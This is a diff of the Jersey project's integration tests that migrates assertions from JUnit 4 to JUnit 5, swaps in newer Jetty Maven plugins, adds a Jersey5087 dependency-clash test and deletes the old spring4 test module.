b/tests/integration/jersey-5087/src/test/java/org/glassfish/jersey/tests/integration/jersey5087/Jersey5087Test.java @@ -0,0 +1,53 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.integration.jersey5087; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.ServletDeploymentContext; +import org.glassfish.jersey.test.grizzly.GrizzlyWebTestContainerFactory; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.Assert; +import org.junit.Test; + +import java.util.EnumSet; + +public class Jersey5087Test extends JerseyTest { + + @Override + protected ResourceConfig configure() { + return new Jersey5087(); + } + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new GrizzlyWebTestContainerFactory(); + } + + @Override + protected DeploymentContext configureDeployment() { + return ServletDeploymentContext.newInstance(Jersey5087.class); + } + + @Test + public void testDependenciesClash() { + final String response = target().request().get(String.class); + Assert.assertEquals("OK", response); + } +} diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml index 884540c680b..39b8f7e120c 100644 --- a/tests/integration/jersey-780/pom.xml +++ b/tests/integration/jersey-780/pom.xml @@ -1,7 +1,7 @@ - - - - diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml index 7c0c31762c4..55d93541114 100644 --- a/tests/integration/microprofile/rest-client/pom.xml +++ b/tests/integration/microprofile/rest-client/pom.xml @@ -1,7 +1,7 @@ - jersey-1883 - jersey-1928 - jersey-1960 - jersey-1964 - jersey-2031 + jackson-14 jersey-2136 jersey-2137 jersey-2154 - jersey-2160 - jersey-2164 - jersey-2167 - jersey-2176 - jersey-2184 - jersey-2255 - jersey-2322 - jersey-2335 jersey-2421 - jersey-2551 - jersey-2612 - jersey-2637 - jersey-2654 - jersey-2673 - jersey-2689 - jersey-2704 jersey-2776 - jersey-2794 - jersey-2846 - jersey-2878 - jersey-2892 jersey-3662 jersey-3670 - jersey-3796 jersey-3992 jersey-4003 jersey-4099 @@ -91,53 +58,16 @@ jersey-4542 jersey-4697 jersey-4722 - jersey-4949 + jersey-5087 microprofile property-check reactive-streams - security-digest - servlet-2.5-autodiscovery-1 - servlet-2.5-autodiscovery-2 - servlet-2.5-filter - servlet-2.5-inflector-1 - servlet-2.5-init-1 - servlet-2.5-init-2 - servlet-2.5-init-3 - servlet-2.5-init-4 - servlet-2.5-init-5 - servlet-2.5-init-6 - servlet-2.5-init-7 - servlet-2.5-init-8 - servlet-2.5-mvc-1 - servlet-2.5-mvc-2 - servlet-2.5-mvc-3 servlet-2.5-reload - servlet-3-async - servlet-3-chunked-io - servlet-3-filter servlet-3-gf-async - servlet-3-inflector-1 - servlet-3-init-1 - servlet-3-init-2 - servlet-3-init-3 - servlet-3-init-4 - servlet-3-init-5 - servlet-3-init-6 - servlet-3-init-7 - servlet-3-init-8 - servlet-3-init-9 - servlet-3-init-provider - servlet-3-params servlet-3-sse-1 - servlet-4.0-mvc-1 - servlet-tests - servlet-request-wrapper-binding - servlet-request-wrapper-binding-2 - sonar-test thin-server - tracing-support @@ -189,6 +119,86 @@ + + jdk17 + + [17,) + + + async-jersey-filter + externalproperties + jaxrs-component-inject + jersey-780 + jersey-1107 + jersey-1223 + jersey-1604 + jersey-1667 + jersey-1883 + jersey-1928 + jersey-1960 + jersey-1964 + jersey-2031 + jersey-2160 + jersey-2164 + jersey-2167 + jersey-2176 + jersey-2184 + jersey-2255 + jersey-2322 + jersey-2335 + jersey-2551 + jersey-2612 + jersey-2637 + jersey-2654 + jersey-2673 + jersey-2689 + jersey-2704 + jersey-2794 + jersey-2846 + jersey-2878 + jersey-2892 + jersey-3796 + jersey-4949 + security-digest + servlet-2.5-autodiscovery-1 + servlet-2.5-autodiscovery-2 + servlet-2.5-filter + servlet-2.5-inflector-1 + servlet-2.5-init-1 + servlet-2.5-init-2 + servlet-2.5-init-3 + servlet-2.5-init-4 + servlet-2.5-init-5 + servlet-2.5-init-6 + servlet-2.5-init-7 + servlet-2.5-init-8 + servlet-2.5-mvc-1 + servlet-2.5-mvc-2 + servlet-2.5-mvc-3 + servlet-3-async + servlet-3-chunked-io + servlet-3-filter + servlet-3-inflector-1 + servlet-3-init-1 + servlet-3-init-2 + servlet-3-init-3 + servlet-3-init-4 + servlet-3-init-5 + servlet-3-init-6 + servlet-3-init-7 + servlet-3-init-8 + servlet-3-init-9 + servlet-3-init-provider + servlet-3-params + servlet-4.0-mvc-1 + servlet-tests + servlet-request-wrapper-binding + servlet-request-wrapper-binding-2 + sonar-test + spring6 + tracing-support + + @@ -236,8 +246,8 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee9 + jetty-ee9-maven-plugin ${jetty.plugin.version} ${skip.tests} @@ -260,9 +270,45 @@ start - - 0 - + + + stop-jetty + post-integration-test + + stop + + + + + + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin + ${jetty.plugin.version} + + ${skip.tests} + 9999 + STOP + 10 + + / + .*/.*jersey-[^/]\.jar$ + + + ${jersey.config.test.container.port} + 60000 + + + ${jersey.config.test.container.port} + 60000 + + + + + start-jetty + pre-integration-test + + start + stop-jetty diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml index 42a882edaad..35562511ffe 100644 --- a/tests/integration/property-check/pom.xml +++ b/tests/integration/property-check/pom.xml @@ -1,7 +1,7 @@ my-realm - ${basedir}/src/main/resources/jetty/realm.properties + + ${basedir}/src/main/resources/jetty/realm.properties + diff --git a/tests/integration/security-digest/src/test/java/org/glassfish/jersey/tests/integration/securitydigest/SecurityDigestAuthenticationITCase.java b/tests/integration/security-digest/src/test/java/org/glassfish/jersey/tests/integration/securitydigest/SecurityDigestAuthenticationITCase.java index ab35cbee19b..c676b0352f7 100644 --- a/tests/integration/security-digest/src/test/java/org/glassfish/jersey/tests/integration/securitydigest/SecurityDigestAuthenticationITCase.java +++ b/tests/integration/security-digest/src/test/java/org/glassfish/jersey/tests/integration/securitydigest/SecurityDigestAuthenticationITCase.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -32,8 +32,8 @@ import org.glassfish.jersey.test.spi.TestContainerException; import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; /** * @author Miroslav Fuksa @@ -69,8 +69,8 @@ public void _testResourceGet(HttpAuthenticationFeature feature) { final Response response = target().path("rest/resource") .register(feature).request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); } @Test @@ -83,7 +83,7 @@ public void _testResourceGet401(HttpAuthenticationFeature feature) { final Response response = target().path("rest/resource") .register(feature).request().get(); - Assert.assertEquals(401, response.getStatus()); + Assertions.assertEquals(401, response.getStatus()); } @Test @@ -97,8 +97,8 @@ public void _testResourcePost(HttpAuthenticationFeature feature) { .register(feature).request() .post(Entity.entity("helloworld", MediaType.TEXT_PLAIN_TYPE)); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("post-helloworld-homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("post-helloworld-homer/scheme:DIGEST", response.readEntity(String.class)); } @Test @@ -111,7 +111,7 @@ public void _testResourceSubGet403(HttpAuthenticationFeature feature) { final Response response = target().path("rest/resource/sub") .register(feature).request().get(); - Assert.assertEquals(403, response.getStatus()); + Assertions.assertEquals(403, response.getStatus()); } @Test @@ -124,8 +124,8 @@ public void _testResourceSubGet2(HttpAuthenticationFeature feature) { final Response response = target().path("rest/resource/sub") .register(feature).request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("subget-bart/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("subget-bart/scheme:DIGEST", response.readEntity(String.class)); } @Test @@ -139,8 +139,8 @@ public void _testResourceLocatorGet(HttpAuthenticationFeature feature) { final Response response = target().path("rest/resource/locator") .register(feature).request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("locator-bart/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("locator-bart/scheme:DIGEST", response.readEntity(String.class)); } @Test @@ -154,23 +154,23 @@ public void _testResourceMultipleRequestsWithOneFilter(HttpAuthenticationFeature .register(haf); Response response = target.request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); response = target.request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); response = target.path("sub").request().get(); - Assert.assertEquals(403, response.getStatus()); + Assertions.assertEquals(403, response.getStatus()); response = target.request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("homer/scheme:DIGEST", response.readEntity(String.class)); response = target.path("locator").request().get(); - Assert.assertEquals(200, response.getStatus()); - Assert.assertEquals("locator-homer/scheme:DIGEST", response.readEntity(String.class)); + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("locator-homer/scheme:DIGEST", response.readEntity(String.class)); } } diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml index c2fb0bb0649..98c1fff16ac 100644 --- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml +++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml @@ -1,7 +1,7 @@ diff --git a/tests/integration/servlet-2.5-reload/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_config_reload/ReloadTestIT.java b/tests/integration/servlet-2.5-reload/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_config_reload/ReloadTestIT.java index 313a319933c..cf9931fa871 100644 --- a/tests/integration/servlet-2.5-reload/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_config_reload/ReloadTestIT.java +++ b/tests/integration/servlet-2.5-reload/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_config_reload/ReloadTestIT.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,9 +24,10 @@ import org.glassfish.jersey.test.spi.TestContainerException; import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.junit.Test; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author Jakub Podlesak @@ -44,6 +45,7 @@ protected TestContainerFactory getTestContainerFactory() throws TestContainerExc } @Test + @Disabled //TODO - fix after 2.36 public void testReload() throws Exception { Response response = target().path("helloworld").request().get(); assertEquals(200, response.getStatus()); diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml index 71619d6eaeb..f27c3e2b607 100644 --- a/tests/integration/servlet-3-async/pom.xml +++ b/tests/integration/servlet-3-async/pom.xml @@ -1,7 +1,7 @@ + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin jakarta.servlet jakarta.servlet-api - ${servlet5.version} + ${servlet6.version} diff --git a/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/GzipITCase.java b/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/GzipITCase.java index 45256ef7738..014406428c9 100644 --- a/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/GzipITCase.java +++ b/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/GzipITCase.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,13 +16,13 @@ package org.glassfish.jersey.tests.integration.servlet_40_mvc_1; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; import jakarta.ws.rs.core.Response; import org.glassfish.jersey.message.GZipEncoder; -import org.junit.Test; +import org.junit.jupiter.api.Test; public class GzipITCase extends TestSupport { diff --git a/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/TestSupport.java b/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/TestSupport.java index c3579a8a6cc..27271a14a9d 100644 --- a/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/TestSupport.java +++ b/tests/integration/servlet-4.0-mvc-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_40_mvc_1/TestSupport.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,8 +25,8 @@ import org.glassfish.jersey.test.spi.TestContainerFactory; import org.glassfish.jersey.tests.integration.servlet_40_mvc_1.MyApplication; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; public abstract class TestSupport extends JerseyTest { @@ -43,13 +43,13 @@ protected TestContainerFactory getTestContainerFactory() throws TestContainerExc } protected void assertHtmlResponse(final String response) { - assertNotNull("No text returned!", response); + assertNotNull(response, "No text returned!"); assertResponseContains(response, ""); assertResponseContains(response, ""); } protected void assertResponseContains(final String response, final String text) { - assertTrue("Response should contain " + text + " but was: " + response, response.contains(text)); + assertTrue(response.contains(text), "Response should contain " + text + " but was: " + response); } } diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml index b1d32dec3e5..245cc82705e 100644 --- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml +++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml @@ -1,7 +1,7 @@ - - - - 4.0.0 - - - org.glassfish.jersey.tests.integration - project - 3.0.0-SNAPSHOT - - - spring4 - - war - jersey-tests-integration-spring4 - - - Jersey tests for Spring 4 integration - - - - - - jakarta.servlet - jakarta.servlet-api - ${servlet4.version} - provided - - - - jakarta.ws.rs - jakarta.ws.rs-api - compile - - - - org.glassfish.jersey.ext - jersey-spring4 - ${project.version} - compile - - - - org.glassfish.jersey.test-framework - jersey-test-framework-core - test - - - - org.glassfish.jersey.containers - jersey-container-servlet - runtime - - - - org.glassfish.jersey.test-framework.providers - jersey-test-framework-provider-external - test - - - - commons-logging - commons-logging - runtime - - - - - - - org.apache.maven.plugins - maven-compiler-plugin - - - org.apache.maven.plugins - maven-failsafe-plugin - - - org.eclipse.jetty - jetty-maven-plugin - - - / - .*$ - - - - - - - - - delayed-strategy-skip-test - - - org.glassfish.jersey.injection.manager.strategy - delayed - - - - - - org.apache.maven.plugins - maven-failsafe-plugin - - true - - - - - - - jakartification_exclude_tests - - [1.8,) - - - - - org.apache.maven.plugins - maven-failsafe-plugin - - true - - - - - - - ignore.on.jdk16 - - - [16,) - - - - - org.apache.maven.plugins - maven-failsafe-plugin - - true - - - - - - - diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java deleted file mode 100644 index bd10b503205..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java +++ /dev/null @@ -1,164 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import java.math.BigDecimal; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.PathParam; -import jakarta.ws.rs.core.MediaType; - -import jakarta.inject.Inject; -import jakarta.inject.Named; -import jakarta.servlet.http.HttpServletRequest; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Qualifier; - -/** - * Jersey managed JAX-RS resource for testing jersey-spring. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -@Path("/jersey/account") -public class AccountJerseyResource { - - @Inject - @Named("AccountService-singleton") - private AccountService accountServiceInject; - - @Autowired - @Qualifier("AccountService-singleton") - private AccountService accountServiceAutowired; - - @Inject - @Named("AccountService-request-1") - private AccountService accountServiceRequest1; - - @Autowired - @Qualifier("AccountService-request-1") - private AccountService accountServiceRequest2; - - @Autowired - @Qualifier("AccountService-prototype-1") - private AccountService accountServicePrototype1; - - @Autowired - @Qualifier("AccountService-prototype-1") - private AccountService accountServicePrototype2; - - @Autowired - private HttpServletRequest httpServletRequest; - - @Inject - private HK2ServiceSingleton hk2Singleton; - - @Inject - private HK2ServiceRequestScoped hk2RequestScoped; - - @Inject - private HK2ServicePerLookup hk2PerLookup; - - private String message = "n/a"; - - // resource methods for testing resource class scope - @GET - @Path("message") - public String getMessage() { - return message; - } - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(final String message) { - this.message = message; - return message; - } - - // JERSEY-2506 FIX VERIFICATION - @GET - @Path("server") - public String verifyServletRequestInjection() { - return "PASSED: " + httpServletRequest.getServerName(); - } - - @GET - @Path("singleton/server") - public String verifyServletRequestInjectionIntoSingleton() { - return accountServiceInject.verifyServletRequestInjection(); - } - - @GET - @Path("singleton/autowired/server") - public String verifyServletRequestInjectionIntoAutowiredSingleton() { - return accountServiceAutowired.verifyServletRequestInjection(); - } - - @GET - @Path("request/server") - public String verifyServletRequestInjectionIntoRequestScopedBean() { - return accountServiceRequest1.verifyServletRequestInjection(); - } - - @GET - @Path("prototype/server") - public String verifyServletRequestInjectionIntoPrototypeScopedBean() { - return accountServicePrototype1.verifyServletRequestInjection(); - } - - // resource methods for testing singleton scoped beans - @GET - @Path("singleton/inject/{accountId}") - public BigDecimal getAccountBalanceSingletonInject(@PathParam("accountId") final String accountId) { - return accountServiceInject.getAccountBalance(accountId); - } - - @GET - @Path("singleton/autowired/{accountId}") - public BigDecimal getAccountBalanceSingletonAutowired(@PathParam("accountId") final String accountId) { - return accountServiceAutowired.getAccountBalance(accountId); - } - - @PUT - @Path("singleton/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public void setAccountBalanceSingleton(@PathParam("accountId") final String accountId, final String balance) { - accountServiceInject.setAccountBalance(accountId, new BigDecimal(balance)); - } - - // resource methods for testing request scoped beans - @PUT - @Path("request/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public BigDecimal setAccountBalanceRequest(@PathParam("accountId") final String accountId, final String balance) { - accountServiceRequest1.setAccountBalance(accountId, new BigDecimal(balance)); - return accountServiceRequest2.getAccountBalance(accountId); - } - - // resource methods for testing prototype scoped beans - @PUT - @Path("prototype/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public BigDecimal setAccountBalancePrototype(@PathParam("accountId") final String accountId, final String balance) { - accountServicePrototype1.setAccountBalance(accountId, new BigDecimal(balance)); - return accountServicePrototype2.getAccountBalance(accountId); - } -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java deleted file mode 100644 index e79d9bdfb59..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import java.math.BigDecimal; -import java.util.HashMap; -import java.util.Map; - -import jakarta.servlet.http.HttpServletRequest; - -import org.springframework.beans.factory.annotation.Autowired; - -/** - * AccountService implementation. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class AccountServiceImpl implements AccountService { - - private Map accounts = new HashMap<>(); - private BigDecimal defaultAccountBalance; - - // JERSEY-2506 FIX VERIFICATION - @Autowired - private HttpServletRequest httpServletRequest; - - @Override - public void setAccountBalance(String accountId, BigDecimal balance) { - accounts.put(accountId, balance); - } - - @Override - public BigDecimal getAccountBalance(String accountId) { - BigDecimal balance = accounts.get(accountId); - if (balance == null) { - return defaultAccountBalance; - } - return balance; - } - - public void setDefaultAccountBalance(String defaultAccountBalance) { - this.defaultAccountBalance = new BigDecimal(defaultAccountBalance); - } - - public String verifyServletRequestInjection() { - return "PASSED: " + httpServletRequest.getServerName(); - } - -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java deleted file mode 100644 index 0e5d2cfb85e..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java +++ /dev/null @@ -1,167 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import java.math.BigDecimal; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.PathParam; -import jakarta.ws.rs.core.MediaType; - -import jakarta.inject.Inject; -import jakarta.inject.Named; -import jakarta.servlet.http.HttpServletRequest; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Qualifier; -import org.springframework.stereotype.Component; - -/** - * Spring managed JAX-RS resource for testing jersey-spring. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -@Path("/spring/account") -@Component -public class AccountSpringResource { - - @Inject - @Named("AccountService-singleton") - private AccountService accountServiceInject; - - @Autowired - @Qualifier("AccountService-singleton") - private AccountService accountServiceAutowired; - - @Inject - @Named("AccountService-request-1") - private AccountService accountServiceRequest1; - - @Autowired - @Qualifier("AccountService-request-1") - private AccountService accountServiceRequest2; - - @Autowired - @Qualifier("AccountService-prototype-1") - private AccountService accountServicePrototype1; - - @Autowired - @Qualifier("AccountService-prototype-1") - private AccountService accountServicePrototype2; - - @Autowired - private HttpServletRequest httpServletRequest; - - @Inject - private HK2ServiceSingleton hk2Singleton; - - @Inject - private HK2ServiceRequestScoped hk2RequestScoped; - - @Inject - private HK2ServicePerLookup hk2PerLookup; - - private String message = "n/a"; - - // resource methods for testing resource class scope - @GET - @Path("message") - public String getMessage() { - return message; - } - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(String message) { - this.message = message; - return message; - } - - // JERSEY-2506 FIX VERIFICATION - @GET - @Path("server") - public String verifyServletRequestInjection() { - return "PASSED: " + httpServletRequest.getServerName(); - } - - @GET - @Path("singleton/server") - public String verifyServletRequestInjectionIntoSingleton() { - return accountServiceInject.verifyServletRequestInjection(); - } - - @GET - @Path("singleton/autowired/server") - public String verifyServletRequestInjectionIntoAutowiredSingleton() { - return accountServiceAutowired.verifyServletRequestInjection(); - } - - @GET - @Path("request/server") - public String verifyServletRequestInjectionIntoRequestScopedBean() { - return accountServiceRequest1.verifyServletRequestInjection(); - } - - @GET - @Path("prototype/server") - public String verifyServletRequestInjectionIntoPrototypeScopedBean() { - return accountServicePrototype1.verifyServletRequestInjection(); - } - - // resource methods for testing singleton scoped beans - @GET - @Path("singleton/inject/{accountId}") - public BigDecimal getAccountBalanceSingletonInject(@PathParam("accountId") String accountId) { - return accountServiceInject.getAccountBalance(accountId); - } - - @GET - @Path("singleton/autowired/{accountId}") - public BigDecimal getAccountBalanceSingletonAutowired(@PathParam("accountId") String accountId) { - return accountServiceAutowired.getAccountBalance(accountId); - } - - @PUT - @Path("singleton/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public void setAccountBalanceSingleton(@PathParam("accountId") String accountId, String balance) { - accountServiceInject.setAccountBalance(accountId, new BigDecimal(balance)); - } - - // resource methods for testing request scoped beans - @PUT - @Path("request/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public BigDecimal setAccountBalanceRequest(@PathParam("accountId") String accountId, String balance) { - accountServiceRequest1.setAccountBalance(accountId, new BigDecimal(balance)); - return accountServiceRequest2.getAccountBalance(accountId); - } - - // resource methods for testing prototype scoped beans - @PUT - @Path("prototype/{accountId}") - @Consumes(MediaType.TEXT_PLAIN) - public BigDecimal setAccountBalancePrototype(@PathParam("accountId") String accountId, String balance) { - accountServicePrototype1.setAccountBalance(accountId, new BigDecimal(balance)); - return accountServicePrototype2.getAccountBalance(accountId); - } - -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java deleted file mode 100644 index 39dd5aa41c4..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.core.MediaType; - -import org.springframework.stereotype.Controller; - -/** - * @author Konrad Garus (konrad.garus at gmail.com) - */ -@Controller -@Path("/spring/controller") -public class ControllerResource { - - private String message; - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(final String message) { - this.message = message; - return message; - } - - @GET - @Path("message") - public String getMessage() { - return message; - } -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java deleted file mode 100644 index da45aeafaba..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java +++ /dev/null @@ -1,25 